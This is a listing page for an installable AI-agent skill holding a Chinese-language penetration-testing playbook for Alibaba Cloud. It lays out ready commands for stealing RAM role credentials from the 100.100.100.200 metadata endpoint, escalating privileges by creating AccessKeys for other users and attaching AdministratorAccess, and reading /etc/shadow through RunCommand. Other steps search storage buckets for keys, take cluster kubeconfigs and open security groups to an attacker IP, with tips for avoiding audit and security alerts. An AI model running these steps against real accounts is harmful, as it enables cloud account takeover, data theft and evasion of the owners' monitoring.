aliyun-pentesting
$
npx mdskill add wgpsec/AboutSecurity/aliyun-pentestingExecute targeted penetration tests on Alibaba Cloud services.
- Identify and exploit RAM, ECS, OSS, RDS, and container platforms.
- Integrates with aliyun CLI and metadata endpoint 100.100.100.200.
- Selects attack vectors based on detected AccessKey prefixes.
- Delivers actionable exploit paths for cloud infrastructure.
SKILL.md
.github/skills/aliyun-pentestingView on GitHub ↗
---
name: aliyun-pentesting
description: "阿里云渗透测试方法论。当目标使用阿里云服务、发现 oss-*.aliyuncs.com 资产、获取阿里云 AccessKey(LTAI 开头)、在 ECS 实例内部可访问 100.100.100.200 元数据、或需要对阿里云 RAM/ECS/OSS/RDS/ACK/FC 等服务进行安全评估时使用。覆盖 RAM 提权、ECS 接管、OSS Bucket 利用、RDS 数据库攻击、ACK 容器集群、FC 函数计算、SLB 负载均衡、日志服务、KMS 密钥管理"
metadata:
tags: "aliyun,alibaba-cloud,阿里云,ram,ecs,oss,rds,ack,fc,slb,kms,accesskey,LTAI,100.100.100.200,元数据,云渗透"
category: "cloud"
---
# 阿里云渗透测试方法论
阿里云 RAM/ECS/OSS/RDS/ACK 等服务构成主要攻击面。与 AWS 不同,阿里云的元数据端点为 `100.100.100.200`,AccessKey 以 `LTAI` 开头,且部分安全机制(如元数据服务访问限制、ActionTrail 覆盖范围)与国际云平台存在显著差异。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。
## ⛔ 深入参考(必读)
识别到具体攻击服务后,加载对应参考文档获取完整技术细节:
- 计算/存储/数据库详细利用 → 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md)
- 容器/Serverless/日志/KMS 详细利用 → 读 [references/platform-services-attacks.md](references/platform-services-attacks.md)
---
## Phase 1: 环境识别
拿到阿里云相关目标后,首先识别凭据类型、确认 CLI 工具可用、判断网络位置。
### 1.1 凭据类型
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|---|---|---|
| 长期 AccessKey | AccessKeyId 以 `LTAI` 开头 | 永久(直到手动轮换) | RAM 控制台创建 / 代码泄露 |
| STS 临时凭据 | AccessKeyId 以 `STS.` 开头 + SecurityToken | 15 分钟 ~ 12 小时 | AssumeRole / ECS 元数据 |
| RAM Role(ECS 绑定) | 通过 100.100.100.200 获取 | 自动轮换(约 6 小时) | ECS 实例元数据服务 |
| Bearer Token | 用于部分 OpenAPI | 视场景而定 | OAuth 授权流程 |
### 1.2 CLI 配置与身份验证
```bash
# 配置 aliyun CLI(交互式,填入 AccessKeyId/Secret/Region)
aliyun configure
# 验证当前身份(最基础的检查,等同于 AWS 的 sts get-caller-identity)
aliyun sts GetCallerIdentity
# 返回: AccountId, Arn, IdentityType (对应 User/Role/AssumedRoleUser)
# 查看当前 RAM 用户详情
aliyun ram GetUser
```
### 1.3 元数据端点
阿里云 ECS 元数据端点与 AWS `169.254.169.254` 不同,使用 `100.100.100.200`:
```bash
# 判断是否在 ECS 实例内部
curl -s http://100.100.100.200/latest/meta-data/
# 获取实例绑定的 RAM Role 名称
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 获取该 Role 的临时凭据(AccessKeyId/AccessKeySecret/SecurityToken)
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME
# 获取实例 ID、区域等信息
curl -s http://100.100.100.200/latest/meta-data/instance-id
curl -s http://100.100.100.200/latest/meta-data/region-id
# 获取 User-Data(可能包含初始化脚本中的凭据)
curl -s http://100.100.100.200/latest/user-data
```
**注意:** 阿里云目前不强制 IMDSv2(Token 模式),大部分 ECS 实例的元数据服务可直接通过 HTTP GET 访问,无需 Token Header。这使得 SSRF 漏洞在阿里云环境中的危害更大。
### 1.4 对象存储 URL 格式
```
公网访问: https://{bucket}.oss-{region}.aliyuncs.com/{object}
内网访问: https://{bucket}.oss-{region}-internal.aliyuncs.com/{object}
```
发现 `oss-*.aliyuncs.com` 域名即可确认目标使用阿里云 OSS。Bucket 名称全局唯一。
### 1.5 区域编码
| 区域代码 | 位置 | 备注 |
|---|---|---|
| cn-hangzhou | 华东1(杭州) | 阿里云总部所在地,最常用区域 |
| cn-shanghai | 华东2(上海) | 金融客户常用 |
| cn-qingdao | 华北1(青岛) | |
| cn-beijing | 华北2(北京) | 政企客户常用 |
| cn-shenzhen | 华南1(深圳) | |
| cn-chengdu | 西南1(成都) | |
| cn-hongkong | 中国香港 | 无需备案,常被用于出海业务 |
| ap-southeast-1 | 新加坡 | 海外区域 |
枚举时需遍历多个区域。部分服务(如 RAM、STS)为全局服务,不受区域限制。
---
## Phase 2: 攻击决策树
根据当前持有的凭据/位置,判断攻击路径:
```
当前持有什么?
├── 无凭据
│ ├── 有目标域名 → OSS Bucket 枚举(猜解 bucket 名 + 公开访问检测)
│ ├── 有 SSRF 漏洞 → 打 http://100.100.100.200 获取 RAM Role 凭据
│ └── 仅知组织名 → OSINT + OSS/子域名枚举
│
├── 有 AccessKey(LTAI 开头)
│ ├── 先验证: aliyun sts GetCallerIdentity
│ ├── 有 RAM 写权限 → Phase 3(RAM 提权)
│ ├── 有 ECS 权限 → Phase 4(计算/存储)
│ ├── 有 OSS 权限 → Phase 4(对象存储)
│ ├── 有 RDS 权限 → Phase 4(数据库)
│ └── 权限不明 → 逐服务探测(无 enumerate-iam 等工具,需手动探测)
│
├── 有 STS 临时凭据(STS. 开头)
│ └── 同上,但需注意有效期,快速行动
│
├── 在 ECS 实例内部
│ ├── 获取元数据 RAM Role 凭据 → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据
│
└── 有容器环境(ACK Pod 内部)
├── 检查 ServiceAccount Token
├── 尝试访问元数据服务
└── → Phase 5(容器/Serverless)
```
---
## Phase 3: RAM 提权速查
RAM(Resource Access Management)是阿里云的身份权限服务,对标 AWS IAM。
### 3.1 信息收集
```bash
# 列出所有 RAM 用户
aliyun ram ListUsers
# 查看指定用户的策略
aliyun ram ListPoliciesForUser --UserName USERNAME
# 列出该用户的 AccessKey(检查是否有多个)
aliyun ram ListAccessKeys --UserName USERNAME
# 列出所有角色及信任策略
aliyun ram ListRoles
```
### 3.2 提权路径
| 提权路径 | 所需权限 | 操作 |
|---|---|---|
| 创建 AccessKey | `ram:CreateAccessKey` | 为高权限用户创建新 AK |
| 附加策略 | `ram:AttachPolicyToUser` | 给自己附加 `AdministratorAccess` |
| 创建策略版本 | `ram:CreatePolicyVersion` | 新建 Allow * 策略版本并设为默认 |
| 修改角色信任策略 | `ram:UpdateRole` | 修改 AssumeRolePolicyDocument 使自己可切换 |
| PassRole + 创建 ECS | `ram:PassRole` + `ecs:CreateInstance` | 启动绑定高权限 Role 的 ECS |
| PassRole + 创建 FC | `ram:PassRole` + `fc:CreateFunction` | 创建绑定高权限 Role 的函数并执行 |
```bash
# 提权示例:为目标用户创建新 AccessKey
aliyun ram CreateAccessKey --UserName TARGET_USERNAME
# 成功返回 AccessKeyId + AccessKeySecret,用新凭据重新配置 CLI
# 提权示例:给当前用户附加管理员策略
aliyun ram AttachPolicyToUser --PolicyType System \
--PolicyName AdministratorAccess --UserName CURRENT_USERNAME
```
---
## Phase 4: 计算/存储/数据库速查
### ECS(云服务器)
```bash
# 列出实例
aliyun ecs DescribeInstances --output cols=InstanceId,InstanceName,Status
# 通过 Cloud Assistant 执行命令(需安装云助手 Agent)
aliyun ecs RunCommand --Type RunShellScript \
--CommandContent "id; cat /etc/shadow" --InstanceId.1 i-INSTANCE_ID
```
→ 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取 VNC 连接、User-Data 提取、命令执行完整流程
### OSS(对象存储)
```bash
# 列出 Bucket → 检查 ACL → 下载敏感文件
aliyun oss ls
aliyun oss ls oss://BUCKET_NAME/ --include "*.env" --include "*.key" --include "*.pem" --include "*credential*"
```
→ 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取 ACL 修改、公开读设置、批量下载完整流程
### RDS(关系型数据库)
```bash
# 列出实例 → 获取连接串 → 创建账号
aliyun rds DescribeDBInstances --output cols=DBInstanceId,DBInstanceDescription
```
→ 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取账号创建、数据库授权完整流程
### SLB(负载均衡)
```bash
# 列出 SLB → 查看后端服务器
aliyun slb DescribeLoadBalancers --output cols=LoadBalancerId,Address,Status
```
→ 读 [references/compute-storage-attacks.md](references/compute-storage-attacks.md) 获取后端篡改、流量劫持完整流程
---
## Phase 5: 容器/Serverless/日志/KMS 速查
### ACK(容器服务 Kubernetes)
```bash
# 列出集群 → 获取 kubeconfig
aliyun cs DescribeClusters
aliyun cs DescribeClusterUserKubeconfig --ClusterId CLUSTER_ID
```
→ 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取集群接管、特权 Pod 创建完整流程
### FC(函数计算)
```bash
# 列出函数 → 检查环境变量中的凭据
aliyun fc ListFunctions --serviceName SERVICE_NAME --output cols=FunctionName,Runtime
```
→ 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取代码提取、环境变量泄露完整流程
### 日志服务(SLS)
```bash
# 搜索敏感信息
aliyun log GetLogs --logstore LOG_STORE --query "password|secret|token"
```
→ 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取日志搜索、批量导出完整流程
### KMS(密钥管理)
```bash
# 列出密钥 → 尝试解密
aliyun kms ListKeys
```
→ 读 [references/platform-services-attacks.md](references/platform-services-attacks.md) 获取密钥枚举、数据解密完整流程
---
## Phase 6: 安全组操控
安全组是阿里云 ECS 的网络访问控制层,类似 AWS Security Groups。利用安全组规则可以打开网络通路。
```bash
# 列出所有安全组
aliyun ecs DescribeSecurityGroups --output cols=SecurityGroupId,Description
# 查看安全组规则
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId SG_ID
# 添加入方向规则 — 仅开放攻击者 IP 的 SSH
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 22/22 --SourceCidrIp ATTACKER_IP/32
# 危险操作 — 开放所有端口(极高告警风险)
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 1/65535 --SourceCidrIp 0.0.0.0/0
```
**判断依据:** 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发云安全中心告警。
---
## 工具速查
| 工具 | 用途 | 安装/使用 |
|---|---|---|
| aliyun CLI | 阿里云官方命令行工具 | `brew install aliyun-cli` 或从 GitHub Releases 下载 |
| aliyun sts GetCallerIdentity | 验证凭据身份 | 内置子命令 |
| aliyun oss | OSS 对象操作 | 内置子命令 |
| ossutil | OSS 专用工具(大文件传输更优) | 独立二进制,阿里云官网下载 |
| curl | 元数据服务探测 | 系统自带 |
| kubectl | ACK 集群操作 | 获取 kubeconfig 后使用 |
| cf (Cloud Exploitation Framework) | 阿里云/腾讯云自动化利用 | `go install github.com/teamssix/cf@latest` |
| aliyun-accesskey-tools | AccessKey 利用集合 | 社区工具 |
## 注意事项
**ActionTrail 审计感知:** 阿里云 ActionTrail 记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:
- RAM 变更(CreateUser、CreateAccessKey、AttachPolicyToUser)
- STS 调用(AssumeRole)
- 安全组规则变更(AuthorizeSecurityGroup)
**云安全中心检测:** 阿里云云安全中心(安骑士升级版)会检测:
- AccessKey 异常调用(异常 IP、异常时间、异常 API 频率)
- ECS 异常登录(非常用地域 IP)
- 安全组规则异常开放
- OSS Bucket ACL 变更为公开
**速率限制:** 阿里云 OpenAPI 有限流机制,枚举时建议控制频率。触发限流返回 `Throttling.User` 错误码。
**区域遍历:** 与 AWS 类似,阿里云资源按区域隔离。全局服务(RAM、STS)不受区域限制,但 ECS/OSS/RDS 等需逐区域枚举。
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|